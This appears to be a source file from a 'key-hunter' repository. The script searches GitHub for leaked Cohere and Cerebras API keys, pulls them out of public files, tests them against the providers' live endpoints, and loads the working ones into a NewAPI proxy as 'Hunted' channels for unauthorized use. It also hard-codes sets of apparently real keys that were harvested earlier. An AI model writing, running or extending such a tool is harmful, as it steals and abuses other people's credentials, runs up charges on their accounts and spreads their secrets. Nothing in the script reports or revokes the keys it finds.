Files
hack/tools/scripts/hunt_cohere_cerebras.py
T
chaos 5d215e1649 Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
2026-08-02 06:02:58 +08:00

253 lines
8.4 KiB
Python

#!/usr/bin/env python3
"""Hunt for leaked Cohere and Cerebras API keys on GitHub — curl version."""
import json
import os
import re
import sys
import time
import subprocess
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
# Get GitHub token
GH_TOKEN = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True).stdout.strip()
QUERIES = {
"Cohere": [
'COHERE_API_KEY extension:env',
'COHERE_API_KEY extension:py',
'COHERE_API_KEY extension:js',
'COHERE_API_KEY extension:json',
'COHERE_API_KEY extension:yaml',
'COHERE_API_KEY extension:ipynb',
'CO_API_KEY extension:env',
'CO_API_KEY extension:py',
'api.cohere.com extension:env',
'api.cohere.com extension:py',
'api.cohere.com extension:js',
'cohere_client extension:py',
'cohere.Client extension:py',
'cohere.chat extension:py',
'cohere.generate extension:py',
],
"Cerebras": [
'csk- extension:env',
'csk- extension:py',
'csk- extension:js',
'csk- extension:json',
'csk- extension:yaml',
'csk- extension:ipynb',
'CEREBRAS_API_KEY extension:env',
'CEREBRAS_API_KEY extension:py',
'CEREBRAS_API_KEY extension:js',
'CEREBRAS_API_KEY extension:json',
'CEREBRAS_API_KEY extension:yaml',
'CEREBRAS_API_KEY extension:ipynb',
'CEREBRAS_KEY extension:env',
'CEREBRAS_KEY extension:py',
'api.cerebras.ai extension:env',
'api.cerebras.ai extension:py',
'api.cerebras.ai extension:js',
'from cerebras extension:py',
'import cerebras extension:py',
'cerebras.cloud extension:py',
],
}
PATTERNS = {
"Cohere": re.compile(r'[a-zA-Z0-9]{40}'),
"Cerebras": re.compile(r'csk-[a-zA-Z0-9]{40}'),
}
EXISTING = {
"Cohere": {
"ct5c9Usx0I3zvy8WlAXrHWPvXyBlIL06J7rNkSy5",
"WnFNt5UQK39iRBhjWNUdBTJZlhLM0HR3ifc0ESQa",
"MxABl5slwJzoiiHOGbO4fAVUw0Kte455V1T7jOYs",
"o6DdGd0awe4vhcOEBS4r3RJOt0PdNB4iC60lIE40",
"N2KVYbjgSfNVKZw2HSwVJCRuRqEVkpFEqCrozr22",
"fjdejHaAyGLwkWmg9OzQUsi3nQi7BQeZERcHtYcz",
},
"Cerebras": {
"csk-dpvv4653fh4rk2k9y2p2nyhjvy8jw6wyp66xcrykvj33nkj4",
"csk-j99xk9m6kr5x5nfmkwdrm3jmctwh6eh3pvcm9ymmy293emhp",
"csk-kppj54cwjmefpw8mj9x9w3ey9yx9yvh64jw3ek9m5prm9d3v",
},
}
def gh_search(query, per_page=50):
"""Search GitHub code via curl."""
import urllib.parse
encoded = urllib.parse.quote(query)
url = f"https://api.github.com/search/code?q={encoded}&per_page={per_page}"
try:
req = urllib.request.Request(url)
req.add_header("Authorization", f"token {GH_TOKEN}")
req.add_header("Accept", "application/vnd.github.v3+json")
req.add_header("User-Agent", _UA)
with urllib.request.urlopen(req, timeout=15) as resp:
data = json.loads(resp.read())
return [item["html_url"] for item in data.get("items", [])]
except Exception:
return []
def fetch_raw(url):
"""Fetch raw file content from GitHub."""
raw_url = url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
try:
req = urllib.request.Request(raw_url)
req.add_header("User-Agent", _UA)
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.read().decode("utf-8", errors="ignore")
except Exception:
return ""
def verify_key(provider, key, timeout=15):
"""Verify a key."""
if provider == "Cohere":
url = "https://api.cohere.com/compatibility/v1/chat/completions"
model = "command-r-plus-08-2024"
else:
url = "https://api.cerebras.ai/v1/chat/completions"
model = "zai-glm-4.7"
payload = json.dumps({
"model": model,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 5,
}).encode()
req = urllib.request.Request(url, data=payload, method="POST")
req.add_header("Authorization", f"Bearer {key}")
req.add_header("Content-Type", "application/json")
req.add_header("User-Agent", _UA)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return True, "OK"
except urllib.error.HTTPError as e:
raw = e.read()
try:
err = json.loads(raw)
msg = err.get("message", "") or err.get("error", {}).get("message", "")
except Exception:
msg = f"HTTP {e.code}"
return False, msg[:80]
except Exception as e:
return False, str(e)[:80]
def hunt(provider):
print(f"\n{'='*60}")
print(f" {provider}")
print(f"{'='*60}")
queries = QUERIES[provider]
pattern = PATTERNS[provider]
existing = EXISTING[provider]
# Phase 1: Search
print(f"\n [1/3] Searching ({len(queries)} queries)...")
urls = set()
for i, q in enumerate(queries):
results = gh_search(q)
new = len(set(results) - urls)
urls.update(results)
print(f" [{i+1}/{len(queries)}] {q[:45]:47s} → {len(results):3d} files (+{new})")
time.sleep(1.5)
print(f"\n Total: {len(urls)} unique files")
# Phase 2: Extract (concurrent fetching)
print(f"\n [2/3] Fetching & extracting ({len(urls)} files, concurrent)...")
all_keys = set()
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(fetch_raw, url): url for url in urls}
done = 0
for future in as_completed(futures):
done += 1
content = future.result()
if not content:
continue
for m in pattern.finditer(content):
k = m.group()
if k not in existing:
if provider == "Cohere" and re.match(r'^[0-9a-f]{40}$', k):
continue
all_keys.add(k)
if done % 50 == 0:
print(f" Fetched {done}/{len(urls)} files, {len(all_keys)} keys so far")
print(f" Extracted: {len(all_keys)} unique candidate keys")
# Phase 3: Verify
print(f"\n [3/3] Verifying {len(all_keys)} keys...")
good = []
with ThreadPoolExecutor(max_workers=12) as pool:
futures = {pool.submit(verify_key, provider, k): k for k in all_keys}
for future in as_completed(futures):
key = futures[future]
ok, msg = future.result()
if ok:
good.append(key)
print(f" ✅ {key[:40]}... WORKING!")
print(f"\n ✅ {provider}: {len(good)} new working keys")
return good
def main():
cohere_good = hunt("Cohere")
cerebras_good = hunt("Cerebras")
print(f"\n{'='*60}")
print(" RESULTS")
print(f"{'='*60}")
print(f"\n Cohere: {len(cohere_good)} new keys")
for k in cohere_good:
print(f" {k}")
print(f"\n Cerebras: {len(cerebras_good)} new keys")
for k in cerebras_good:
print(f" {k}")
if cohere_good or cerebras_good:
print(f"\n{'='*60}")
print(" Adding to NewAPI")
print(f"{'='*60}")
sys.path.insert(0, os.path.dirname(__file__))
from newapi_client import add_channel, TYPE_OPENAI
if cohere_good:
ch = {
"type": TYPE_OPENAI,
"name": "Cohere-Hunted",
"key": "\n".join(cohere_good),
"base_url": "https://api.cohere.com/compatibility/v1",
"models": "command-r-plus-08-2024,command-r-08-2024,command-a-03-2025,command-a,c4ai-aya-expanse-32b",
"group": "default",
}
s, m = add_channel(ch, mode="multi_to_single")
print(f" Cohere-Hunted ({len(cohere_good)} keys) {'✅' if s else '❌'} {m}")
if cerebras_good:
ch = {
"type": TYPE_OPENAI,
"name": "Cerebras-Hunted",
"key": "\n".join(cerebras_good),
"base_url": "https://api.cerebras.ai/v1",
"models": "zai-glm-4.7,gemma-4-31b,gpt-oss-120b",
"group": "default",
}
s, m = add_channel(ch, mode="multi_to_single")
print(f" Cerebras-Hunted ({len(cerebras_good)} keys) {'✅' if s else '❌'} {m}")
else:
print("\n No new working keys found.")
if __name__ == "__main__":
main()